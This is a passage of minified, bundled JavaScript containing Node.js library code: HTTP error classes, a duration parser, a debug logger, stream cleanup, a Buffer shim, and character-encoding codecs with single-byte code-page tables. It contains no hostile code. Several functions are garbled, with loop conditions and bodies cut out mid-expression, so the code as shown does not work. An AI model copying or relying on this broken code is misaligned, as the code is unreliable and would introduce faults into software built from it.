Th=V((rV,Ql)=>{try{if(Yl=require("util"),typeof Yl.inherits!="function")throw"";Ql.exports=Yl.inherits}catch{Ql.exports=Eh()}var Yl});var $h=V((aV,kh)=>{"use strict";kh.exports=yR;function yR(t){return t.split(" ").map(function(e){return e.slice(0,1).toUpperCase()+e.slice(1)}).join("").replace(/[^ _0-9a-z]/gi,"")}});var Ya=V((nV,Ja)=>{"use strict";var _R=Vr()("http-errors"),Rh=bi(),es=xi(),ed=Th(),bR=$h();Ja.exports=Go;Ja.exports.HttpError=xR();Ja.exports.isHttpError=SR(Ja.exports.HttpError);TR(Ja.exports,es.codes,Ja.exports.HttpError);function Ph(t){return+(String(t).charAt(0)+"00")}function Go(){for(var t,e,r=500,n={},a=0;a=600)&&_R("non-error status code; use only 4xx or 5xx status codes"),(typeof r!="number"||!es.message[r]&&(r<400||r>=600))&&(r=500);var o=Go[r]||Go[Ph(r)];t||(t=o?new o(e):new Error(e||es.message[r]),Error.captureStackTrace(t,Go)),(!o||!(t instanceof o)||t.status!==r)&&(t.expose=r<500,t.status=t.statusCode=r);for(var c in n)c!=="status"&&c!=="statusCode"&&(t[c]=n[c]);return t}function xR(){function t(){throw new TypeError("cannot construct abstract class")}return ed(t,Error),t}function wR(t,e,r){var n=Ch(e);function a(s){var i=s??es.message[r],o=new Error(i);return Error.captureStackTrace(o,a),Rh(o,a.prototype),Object.defineProperty(o,"message",{enumerable:!0,configurable:!0,value:i,writable:!0}),Object.defineProperty(o,"name",{enumerable:!1,configurable:!0,value:n,writable:!0}),o}return ed(a,t),Oh(a,n),a.prototype.status=r,a.prototype.statusCode=r,a.prototype.expose=!0,a}function SR(t){return function(r){return!r||typeof r!="object"?!1:r instanceof t?!0:r instanceof Error&&typeof r.expose=="boolean"&&typeof r.statusCode=="number"&&r.status===r.statusCode}}function ER(t,e,r){var n=Ch(e);function a(s){var i=s??es.message[r],o=new Error(i);return Error.captureStackTrace(o,a),Rh(o,a.prototype),Object.defineProperty(o,"message",{enumerable:!0,configurable:!0,value:i,writable:!0}),Object.defineProperty(o,"name",{enumerable:!1,configurable:!0,value:n,writable:!0}),o}return ed(a,t),Oh(a,n),a.prototype.status=r,a.prototype.statusCode=r,a.prototype.expose=!1,a}function Oh(t,e){var r=Object.getOwnPropertyDescriptor(t,"name");r&&r.configurable&&(r.value=e,Object.defineProperty(t,"name",r))}function TR(t,e,r){e.forEach(function(a){var s,i=bR(es.message[a]);switch(Ph(a)){case 400:s=wR(r,i,a);break;case 500:s=ER(r,i,a);break}s&&(t[a]=s,t[i]=s)})}function Ch(t){return t.substr(-5)!=="Error"?t+"Error":t}});var Ah=V((sV,Ih)=>{var wi=1e3,Si=wi*60,Ei=Si*60,Ti=Ei*24,kR=Ti*365.25;Ih.exports=function(t,e){e=e||{};var r=typeof t;if(r==="string"&&t.length>0)return $R(t);if(r==="number"&&isNaN(t)===!1)return e.long?PR(t):RR(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))};function $R(t){if(t=String(t),!(t.length>100)){var e=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(t);if(e){var r=parseFloat(e[1]),n=(e[2]||"ms").toLowerCase();switch(n){case"years":case"year":case"yrs":case"yr":case"y":return r*kR;case"days":case"day":case"d":return r*Ti;case"hours":case"hour":case"hrs":case"hr":case"h":return r*Ei;case"minutes":case"minute":case"mins":case"min":case"m":return r*Si;case"seconds":case"second":case"secs":case"sec":case"s":return r*wi;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function RR(t){return t>=Ti?Math.round(t/Ti)+"d":t>=Ei?Math.round(t/Ei)+"h":t>=Si?Math.round(t/Si)+"m":t>=wi?Math.round(t/wi)+"s":t+"ms"}function PR(t){return Wo(t,Ti,"day")||Wo(t,Ei,"hour")||Wo(t,Si,"minute")||Wo(t,wi,"second")||t+" ms"}function Wo(t,e,r){if(!(t{et=Nh.exports=rd.debug=rd.default=rd;et.coerce=NR;et.disable=IR;et.enable=CR;et.enabled=AR;et.humanize=Ah();et.names=[];et.skips=[];et.formatters={};var td;function OR(t){var e=0,r;for(r in t)e=(e<<5)-e+t.charCodeAt(r),e|=0;return et.colors[Math.abs(e)%et.colors.length]}function rd(t){function e(){if(e.enabled){var r=e,n=+new Date,a=n-(td||n);r.diff=a,r.prev=td,r.curr=n,td=n;for(var s=new Array(arguments.length),i=0;i{Gt=Mh.exports=ad();Gt.log=DR;Gt.formatArgs=MR;Gt.save=qR;Gt.load=jh;Gt.useColors=jR;Gt.storage=typeof chrome<"u"&&typeof chrome.storage<"u"?chrome.storage.local:LR();Gt.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"];function jR(){return typeof window<"u"&&window.process&&window.process.type==="renderer"?!0:typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)}Gt.formatters.j=function(t){try{return JSON.stringify(t)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}};function MR(t){var e=this.useColors;if(t[0]=(e?"%c":"")+this.namespace+(e?" %c":" ")+t[0]+(e?"%c ":" ")+"+"+Gt.humanize(this.diff),!!e){var r="color: "+this.color;t.splice(1,0,r,"color: inherit");var n=0,a=0;t[0].replace(/%[a-zA-Z%]/g,function(s){s!=="%%"&&(n++,s==="%c"&&(a=n))}),t.splice(a,0,r)}}function DR(){return typeof console=="object"&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function qR(t){try{t==null?Gt.storage.removeItem("debug"):Gt.storage.debug=t}catch{}}function jh(){var t;try{t=Gt.storage.debug}catch{}return!t&&typeof process<"u"&&"env"in process&&(t=process.env.DEBUG),t}Gt.enable(jh());function LR(){try{return window.localStorage}catch{}}});var zh=V((Mt,Fh)=>{var qh=require("tty"),ki=require("util");Mt=Fh.exports=ad();Mt.init=ZR;Mt.log=HR;Mt.formatArgs=UR;Mt.save=BR;Mt.load=Lh;Mt.useColors=zR;Mt.colors=[6,2,3,4,5,1];Mt.inspectOpts=Object.keys(process.env).filter(function(t){return/^debug_/i.test(t)}).reduce(function(t,e){var r=e.substring(6).toLowerCase().replace(/_([a-z])/g,function(a,s){return s.toUpperCase()}),n=process.env[e];return/^(yes|on|true|enabled)$/i.test(n)?n=!0:/^(no|off|false|disabled)$/i.test(n)?n=!1:n==="null"?n=null:n=Number(n),t[r]=n,t},{});var ts=parseInt(process.env.DEBUG_FD,10)||2;ts!==1&&ts!==2&&ki.deprecate(function(){},"except for stderr(2) and stdout(1), any other usage of DEBUG_FD is deprecated. Override debug.log if you want to use a different log function (https://git.io/debug_fd)")();var FR=ts===1?process.stdout:ts===2?process.stderr:VR(ts);function zR(){return"colors"in Mt.inspectOpts?!!Mt.inspectOpts.colors:qh.isatty(ts)}Mt.formatters.o=function(t){return this.inspectOpts.colors=this.useColors,ki.inspect(t,this.inspectOpts).split(` +`).map(function(e){return e.trim()}).join(" ")};Mt.formatters.O=function(t){return this.inspectOpts.colors=this.useColors,ki.inspect(t,this.inspectOpts)};function UR(t){var e=this.namespace,r=this.useColors;if(r){var n=this.color,a=" \x1B[3"+n+";1m"+e+" \x1B[0m";t[0]=a+t[0].split(` `).join(` -`+a),t.push("\x1B[3"+n+"m+"+Nt.humanize(this.diff)+"\x1B[0m")}else t[0]=new Date().toUTCString()+" "+e+" "+t[0]}function I$(){return P$.write(Ei.format.apply(Ei,arguments)+` -`)}function A$(t){t==null?delete process.env.DEBUG:process.env.DEBUG=t}function qh(){return process.env.DEBUG}function N$(t){var e,r=process.binding("tty_wrap");switch(r.guessHandleType(t)){case"TTY":e=new Dh.WriteStream(t),e._type="tty",e._handle&&e._handle.unref&&e._handle.unref();break;case"FILE":var n=require("fs");e=new n.SyncWriteStream(t,{autoClose:!1}),e._type="fs";break;case"PIPE":case"TCP":var a=require("net");e=new a.Socket({fd:t,readable:!1,writable:!0}),e.readable=!1,e.read=null,e._type="pipe",e._handle&&e._handle.unref&&e._handle.unref();break;default:throw new Error("Implement me. Unknown stream file type!")}return e.fd=t,e._isStdio=!0,e}function j$(t){t.inspectOpts={};for(var e=Object.keys(Nt.inspectOpts),r=0;r{typeof process<"u"&&process.type==="renderer"?rd.exports=Mh():rd.exports=Fh()});var ad=V((L7,Uh)=>{"use strict";var M$=require("events").EventEmitter,D$=require("fs").ReadStream,zh=require("stream"),Xa=require("zlib");Uh.exports=q$;function q$(t,e){return B$(t)?L$(t):V$(t)?z$(t):U$(t)&&t.destroy(),H$(t)&&e&&(t.removeAllListeners("error"),t.addListener("error",W$)),t}function L$(t){t.destroy(),typeof t.close=="function"&&t.on("open",G$)}function F$(t){if(t._hadError===!0){var e=t._binding===null?"_binding":"_handle";t[e]={close:function(){this[e]=null}}}t.close()}function z$(t){typeof t.destroy=="function"?t._binding?(t.destroy(),t._processing?(t._needDrain=!0,t.once("drain",Z$)):t._binding.clear()):t._destroy&&t._destroy!==zh.Transform.prototype._destroy?t.destroy():t._destroy&&typeof t.close=="function"?(t.destroyed=!0,t.close()):t.destroy():typeof t.close=="function"&&F$(t)}function U$(t){return t instanceof zh&&typeof t.destroy=="function"}function H$(t){return t instanceof M$}function B$(t){return t instanceof D$}function V$(t){return t instanceof Xa.Gzip||t instanceof Xa.Gunzip||t instanceof Xa.Deflate||t instanceof Xa.DeflateRaw||t instanceof Xa.Inflate||t instanceof Xa.InflateRaw||t instanceof Xa.Unzip}function W$(){}function Z$(){this._binding.clear()}function G$(){typeof this.fd=="number"&&this.close()}});var Ja=V((F7,Hh)=>{"use strict";var Wo=require("buffer"),Jn=Wo.Buffer,fr={},mr;for(mr in Wo)Wo.hasOwnProperty(mr)&&(mr==="SlowBuffer"||mr==="Buffer"||(fr[mr]=Wo[mr]));var Yn=fr.Buffer={};for(mr in Jn)Jn.hasOwnProperty(mr)&&(mr==="allocUnsafe"||mr==="allocUnsafeSlow"||(Yn[mr]=Jn[mr]));fr.Buffer.prototype=Jn.prototype;(!Yn.from||Yn.from===Uint8Array.from)&&(Yn.from=function(t,e,r){if(typeof t=="number")throw new TypeError('The "value" argument must not be of type number. Received type '+typeof t);if(t&&typeof t.length>"u")throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);return Jn(t,e,r)});Yn.alloc||(Yn.alloc=function(t,e,r){if(typeof t!="number")throw new TypeError('The "size" argument must be of type number. Received type '+typeof t);if(t<0||t>=2*(1<<30))throw new RangeError('The value "'+t+'" is invalid for option "size"');var n=Jn(t);return!e||e.length===0?n.fill(0):typeof r=="string"?n.fill(e,r):n.fill(e),n});if(!fr.kStringMaxLength)try{fr.kStringMaxLength=process.binding("buffer").kStringMaxLength}catch{}fr.constants||(fr.constants={MAX_LENGTH:fr.kMaxLength},fr.kStringMaxLength&&(fr.constants.MAX_STRING_LENGTH=fr.kStringMaxLength));Hh.exports=fr});var Vh=V(id=>{"use strict";var Bh="\uFEFF";id.PrependBOM=nd;function nd(t,e){this.encoder=t,this.addBOM=!0}nd.prototype.write=function(t){return this.addBOM&&(t=Bh+t,this.addBOM=!1),this.encoder.write(t)};nd.prototype.end=function(){return this.encoder.end()};id.StripBOM=sd;function sd(t,e){this.decoder=t,this.pass=!1,this.options=e||{}}sd.prototype.write=function(t){var e=this.decoder.write(t);return this.pass||!e||(e[0]===Bh&&(e=e.slice(1),typeof this.options.stripBOM=="function"&&this.options.stripBOM()),this.pass=!0),e};sd.prototype.end=function(){return this.decoder.end()}});var Gh=V((U7,Zh)=>{"use strict";var Ti=Ja().Buffer;Zh.exports={utf8:{type:"_internal",bomAware:!0},cesu8:{type:"_internal",bomAware:!0},unicode11utf8:"utf8",ucs2:{type:"_internal",bomAware:!0},utf16le:"ucs2",binary:{type:"_internal"},base64:{type:"_internal"},hex:{type:"_internal"},_internal:od};function od(t,e){this.enc=t.encodingName,this.bomAware=t.bomAware,this.enc==="base64"?this.encoder=ud:this.enc==="cesu8"&&(this.enc="utf8",this.encoder=ld,Ti.from("eda0bdedb2a9","hex").toString()!=="\u{1F4A9}"&&(this.decoder=dd,this.defaultCharUnicode=e.defaultCharUnicode))}od.prototype.encoder=cd;od.prototype.decoder=Wh;var Zo=require("string_decoder").StringDecoder;Zo.prototype.end||(Zo.prototype.end=function(){});function Wh(t,e){Zo.call(this,e.enc)}Wh.prototype=Zo.prototype;function cd(t,e){this.enc=e.enc}cd.prototype.write=function(t){return Ti.from(t,this.enc)};cd.prototype.end=function(){};function ud(t,e){this.prevStr=""}ud.prototype.write=function(t){t=this.prevStr+t;var e=t.length-t.length%4;return this.prevStr=t.slice(e),t=t.slice(0,e),Ti.from(t,"base64")};ud.prototype.end=function(){return Ti.from(this.prevStr,"base64")};function ld(t,e){}ld.prototype.write=function(t){for(var e=Ti.alloc(t.length*3),r=0,n=0;n>>6),e[r++]=128+(a&63)):(e[r++]=224+(a>>>12),e[r++]=128+(a>>>6&63),e[r++]=128+(a&63))}return e.slice(0,r)};ld.prototype.end=function(){};function dd(t,e){this.acc=0,this.contBytes=0,this.accBytes=0,this.defaultCharUnicode=e.defaultCharUnicode}dd.prototype.write=function(t){for(var e=this.acc,r=this.contBytes,n=this.accBytes,a="",s=0;s0&&(a+=this.defaultCharUnicode,r=0),i<128?a+=String.fromCharCode(i):i<224?(e=i&31,r=1,n=1):i<240?(e=i&15,r=2,n=1):a+=this.defaultCharUnicode):r>0?(e=e<<6|i&63,r--,n++,r===0&&(n===2&&e<128&&e>0?a+=this.defaultCharUnicode:n===3&&e<2048?a+=this.defaultCharUnicode:a+=String.fromCharCode(e))):a+=this.defaultCharUnicode}return this.acc=e,this.contBytes=r,this.accBytes=n,a};dd.prototype.end=function(){var t=0;return this.contBytes>0&&(t+=this.defaultCharUnicode),t}});var Xh=V(gd=>{"use strict";var Go=Ja().Buffer;gd.utf16be=Ko;function Ko(){}Ko.prototype.encoder=pd;Ko.prototype.decoder=fd;Ko.prototype.bomAware=!0;function pd(){}pd.prototype.write=function(t){for(var e=Go.from(t,"ucs2"),r=0;r=2)if(t[0]==254&&t[1]==255)r="utf-16be";else if(t[0]==255&&t[1]==254)r="utf-16le";else{for(var n=0,a=0,s=Math.min(t.length-t.length%2,64),i=0;in?r="utf-16be":a{"use strict";var Ur=Ja().Buffer;Yo.utf7=Xo;Yo.unicode11utf7="utf7";function Xo(t,e){this.iconv=e}Xo.prototype.encoder=_d;Xo.prototype.decoder=bd;Xo.prototype.bomAware=!0;var K$=/[^A-Za-z0-9'\(\),-\.\/:\? \n\r\t]+/g;function _d(t,e){this.iconv=e.iconv}_d.prototype.write=function(t){return Ur.from(t.replace(K$,function(e){return"+"+(e==="+"?"":this.iconv.encode(e,"utf16-be").toString("base64").replace(/=+$/,""))+"-"}.bind(this)))};_d.prototype.end=function(){};function bd(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=""}var X$=/[A-Za-z0-9\/+]/,xd=[];for(ki=0;ki<256;ki++)xd[ki]=X$.test(String.fromCharCode(ki));var ki,J$=43,Ya=45,yd=38;bd.prototype.write=function(t){for(var e="",r=0,n=this.inBase64,a=this.base64Accum,s=0;s0&&(t=this.iconv.decode(Ur.from(this.base64Accum,"base64"),"utf16-be")),this.inBase64=!1,this.base64Accum="",t};Yo.utf7imap=Jo;function Jo(t,e){this.iconv=e}Jo.prototype.encoder=wd;Jo.prototype.decoder=Sd;Jo.prototype.bomAware=!0;function wd(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=Ur.alloc(6),this.base64AccumIdx=0}wd.prototype.write=function(t){for(var e=this.inBase64,r=this.base64Accum,n=this.base64AccumIdx,a=Ur.alloc(t.length*5+10),s=0,i=0;i0&&(s+=a.write(r.slice(0,n).toString("base64").replace(/\//g,",").replace(/=+$/,""),s),n=0),a[s++]=Ya,e=!1),e||(a[s++]=o,o===yd&&(a[s++]=Ya))):(e||(a[s++]=yd,e=!0),e&&(r[n++]=o>>8,r[n++]=o&255,n==r.length&&(s+=a.write(r.toString("base64").replace(/\//g,","),s),n=0)))}return this.inBase64=e,this.base64AccumIdx=n,a.slice(0,s)};wd.prototype.end=function(){var t=Ur.alloc(10),e=0;return this.inBase64&&(this.base64AccumIdx>0&&(e+=t.write(this.base64Accum.slice(0,this.base64AccumIdx).toString("base64").replace(/\//g,",").replace(/=+$/,""),e),this.base64AccumIdx=0),t[e++]=Ya,this.inBase64=!1),t.slice(0,e)};function Sd(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=""}var Jh=xd.slice();Jh[44]=!0;Sd.prototype.write=function(t){for(var e="",r=0,n=this.inBase64,a=this.base64Accum,s=0;s0&&(t=this.iconv.decode(Ur.from(this.base64Accum,"base64"),"utf16-be")),this.inBase64=!1,this.base64Accum="",t}});var ev=V(Qh=>{"use strict";var Qo=Ja().Buffer;Qh._sbcs=Ed;function Ed(t,e){if(!t)throw new Error("SBCS codec is called without the data.");if(!t.chars||t.chars.length!==128&&t.chars.length!==256)throw new Error("Encoding '"+t.type+"' has incorrect 'chars' (must be of len 128 or 256)");if(t.chars.length===128){for(var r="",n=0;n<128;n++)r+=String.fromCharCode(n);t.chars=r+t.chars}this.decodeBuf=Qo.from(t.chars,"ucs2");for(var a=Qo.alloc(65536,e.defaultCharSingleByte.charCodeAt(0)),n=0;n{"use strict";tv.exports={10029:"maccenteuro",maccenteuro:{type:"_sbcs",chars:"\xC4\u0100\u0101\xC9\u0104\xD6\xDC\xE1\u0105\u010C\xE4\u010D\u0106\u0107\xE9\u0179\u017A\u010E\xED\u010F\u0112\u0113\u0116\xF3\u0117\xF4\xF6\xF5\xFA\u011A\u011B\xFC\u2020\xB0\u0118\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\u0119\xA8\u2260\u0123\u012E\u012F\u012A\u2264\u2265\u012B\u0136\u2202\u2211\u0142\u013B\u013C\u013D\u013E\u0139\u013A\u0145\u0146\u0143\xAC\u221A\u0144\u0147\u2206\xAB\xBB\u2026\xA0\u0148\u0150\xD5\u0151\u014C\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\u014D\u0154\u0155\u0158\u2039\u203A\u0159\u0156\u0157\u0160\u201A\u201E\u0161\u015A\u015B\xC1\u0164\u0165\xCD\u017D\u017E\u016A\xD3\xD4\u016B\u016E\xDA\u016F\u0170\u0171\u0172\u0173\xDD\xFD\u0137\u017B\u0141\u017C\u0122\u02C7"},808:"cp808",ibm808:"cp808",cp808:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u0401\u0451\u0404\u0454\u0407\u0457\u040E\u045E\xB0\u2219\xB7\u221A\u2116\u20AC\u25A0\xA0"},mik:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u2514\u2534\u252C\u251C\u2500\u253C\u2563\u2551\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2510\u2591\u2592\u2593\u2502\u2524\u2116\xA7\u2557\u255D\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ascii8bit:"ascii",usascii:"ascii",ansix34:"ascii",ansix341968:"ascii",ansix341986:"ascii",csascii:"ascii",cp367:"ascii",ibm367:"ascii",isoir6:"ascii",iso646us:"ascii",iso646irv:"ascii",us:"ascii",latin1:"iso88591",latin2:"iso88592",latin3:"iso88593",latin4:"iso88594",latin5:"iso88599",latin6:"iso885910",latin7:"iso885913",latin8:"iso885914",latin9:"iso885915",latin10:"iso885916",csisolatin1:"iso88591",csisolatin2:"iso88592",csisolatin3:"iso88593",csisolatin4:"iso88594",csisolatincyrillic:"iso88595",csisolatinarabic:"iso88596",csisolatingreek:"iso88597",csisolatinhebrew:"iso88598",csisolatin5:"iso88599",csisolatin6:"iso885910",l1:"iso88591",l2:"iso88592",l3:"iso88593",l4:"iso88594",l5:"iso88599",l6:"iso885910",l7:"iso885913",l8:"iso885914",l9:"iso885915",l10:"iso885916",isoir14:"iso646jp",isoir57:"iso646cn",isoir100:"iso88591",isoir101:"iso88592",isoir109:"iso88593",isoir110:"iso88594",isoir144:"iso88595",isoir127:"iso88596",isoir126:"iso88597",isoir138:"iso88598",isoir148:"iso88599",isoir157:"iso885910",isoir166:"tis620",isoir179:"iso885913",isoir199:"iso885914",isoir203:"iso885915",isoir226:"iso885916",cp819:"iso88591",ibm819:"iso88591",cyrillic:"iso88595",arabic:"iso88596",arabic8:"iso88596",ecma114:"iso88596",asmo708:"iso88596",greek:"iso88597",greek8:"iso88597",ecma118:"iso88597",elot928:"iso88597",hebrew:"iso88598",hebrew8:"iso88598",turkish:"iso88599",turkish8:"iso88599",thai:"iso885911",thai8:"iso885911",celtic:"iso885914",celtic8:"iso885914",isoceltic:"iso885914",tis6200:"tis620",tis62025291:"tis620",tis62025330:"tis620",1e4:"macroman",10006:"macgreek",10007:"maccyrillic",10079:"maciceland",10081:"macturkish",cspc8codepage437:"cp437",cspc775baltic:"cp775",cspc850multilingual:"cp850",cspcp852:"cp852",cspc862latinhebrew:"cp862",cpgr:"cp869",msee:"cp1250",mscyrl:"cp1251",msansi:"cp1252",msgreek:"cp1253",msturk:"cp1254",mshebr:"cp1255",msarab:"cp1256",winbaltrim:"cp1257",cp20866:"koi8r",20866:"koi8r",ibm878:"koi8r",cskoi8r:"koi8r",cp21866:"koi8u",21866:"koi8u",ibm1168:"koi8u",strk10482002:"rk1048",tcvn5712:"tcvn",tcvn57121:"tcvn",gb198880:"iso646cn",cn:"iso646cn",csiso14jisc6220ro:"iso646jp",jisc62201969ro:"iso646jp",jp:"iso646jp",cshproman8:"hproman8",r8:"hproman8",roman8:"hproman8",xroman8:"hproman8",ibm1051:"hproman8",mac:"macintosh",csmacintosh:"macintosh"}});var nv=V((Z7,av)=>{"use strict";av.exports={437:"cp437",737:"cp737",775:"cp775",850:"cp850",852:"cp852",855:"cp855",856:"cp856",857:"cp857",858:"cp858",860:"cp860",861:"cp861",862:"cp862",863:"cp863",864:"cp864",865:"cp865",866:"cp866",869:"cp869",874:"windows874",922:"cp922",1046:"cp1046",1124:"cp1124",1125:"cp1125",1129:"cp1129",1133:"cp1133",1161:"cp1161",1162:"cp1162",1163:"cp1163",1250:"windows1250",1251:"windows1251",1252:"windows1252",1253:"windows1253",1254:"windows1254",1255:"windows1255",1256:"windows1256",1257:"windows1257",1258:"windows1258",28591:"iso88591",28592:"iso88592",28593:"iso88593",28594:"iso88594",28595:"iso88595",28596:"iso88596",28597:"iso88597",28598:"iso88598",28599:"iso88599",28600:"iso885910",28601:"iso885911",28603:"iso885913",28604:"iso885914",28605:"iso885915",28606:"iso885916",windows874:{type:"_sbcs",chars:"\u20AC\uFFFD\uFFFD\uFFFD\uFFFD\u2026\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"},win874:"windows874",cp874:"windows874",windows1250:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\uFFFD\u201E\u2026\u2020\u2021\uFFFD\u2030\u0160\u2039\u015A\u0164\u017D\u0179\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\u0161\u203A\u015B\u0165\u017E\u017A\xA0\u02C7\u02D8\u0141\xA4\u0104\xA6\xA7\xA8\xA9\u015E\xAB\xAC\xAD\xAE\u017B\xB0\xB1\u02DB\u0142\xB4\xB5\xB6\xB7\xB8\u0105\u015F\xBB\u013D\u02DD\u013E\u017C\u0154\xC1\xC2\u0102\xC4\u0139\u0106\xC7\u010C\xC9\u0118\xCB\u011A\xCD\xCE\u010E\u0110\u0143\u0147\xD3\xD4\u0150\xD6\xD7\u0158\u016E\xDA\u0170\xDC\xDD\u0162\xDF\u0155\xE1\xE2\u0103\xE4\u013A\u0107\xE7\u010D\xE9\u0119\xEB\u011B\xED\xEE\u010F\u0111\u0144\u0148\xF3\xF4\u0151\xF6\xF7\u0159\u016F\xFA\u0171\xFC\xFD\u0163\u02D9"},win1250:"windows1250",cp1250:"windows1250",windows1251:{type:"_sbcs",chars:"\u0402\u0403\u201A\u0453\u201E\u2026\u2020\u2021\u20AC\u2030\u0409\u2039\u040A\u040C\u040B\u040F\u0452\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\u0459\u203A\u045A\u045C\u045B\u045F\xA0\u040E\u045E\u0408\xA4\u0490\xA6\xA7\u0401\xA9\u0404\xAB\xAC\xAD\xAE\u0407\xB0\xB1\u0406\u0456\u0491\xB5\xB6\xB7\u0451\u2116\u0454\xBB\u0458\u0405\u0455\u0457\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F"},win1251:"windows1251",cp1251:"windows1251",windows1252:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\uFFFD\u017D\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\uFFFD\u017E\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},win1252:"windows1252",cp1252:"windows1252",windows1253:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\uFFFD\u2030\uFFFD\u2039\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\uFFFD\u203A\uFFFD\uFFFD\uFFFD\uFFFD\xA0\u0385\u0386\xA3\